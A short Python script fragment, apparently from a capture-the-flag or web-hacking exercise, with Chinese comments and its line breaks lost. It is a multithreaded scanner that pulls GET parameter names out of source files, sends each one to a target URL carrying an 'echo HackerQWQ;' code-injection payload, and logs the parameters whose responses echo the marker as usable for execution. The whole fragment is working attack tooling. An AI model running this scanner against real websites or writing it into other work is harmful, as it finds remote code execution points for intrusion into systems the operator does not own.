defrun(filename): with sem: file = open(path+filename,"r",encoding="utf-8") print("[+]Checking:"+filename) content = file.read() for i in rrGET.findall(content): #发出get请求 r = session.get(url+filename+"?{}={}".format(i,"echo HackerQWQ;")) #如果发现了产生回显的变量则记在flag.txt中备用 if"HackerQWQ"in r.text: flag = "{} param in {} could be used!".format(i,filename) print(flag) flag_file.write(flag)
if __name__ == "__main__": start_time = time.time() print("[+]程序开始:"+str(start_time)) thread_list = [] for name in filenames: t = threading.Thread(target=run,args=(name,)) thread_list.append(t) #开始线程 for t in thread_list: t.setDaemon(True) t.start() #使子线程同步运行 for t in thread_list: t.join()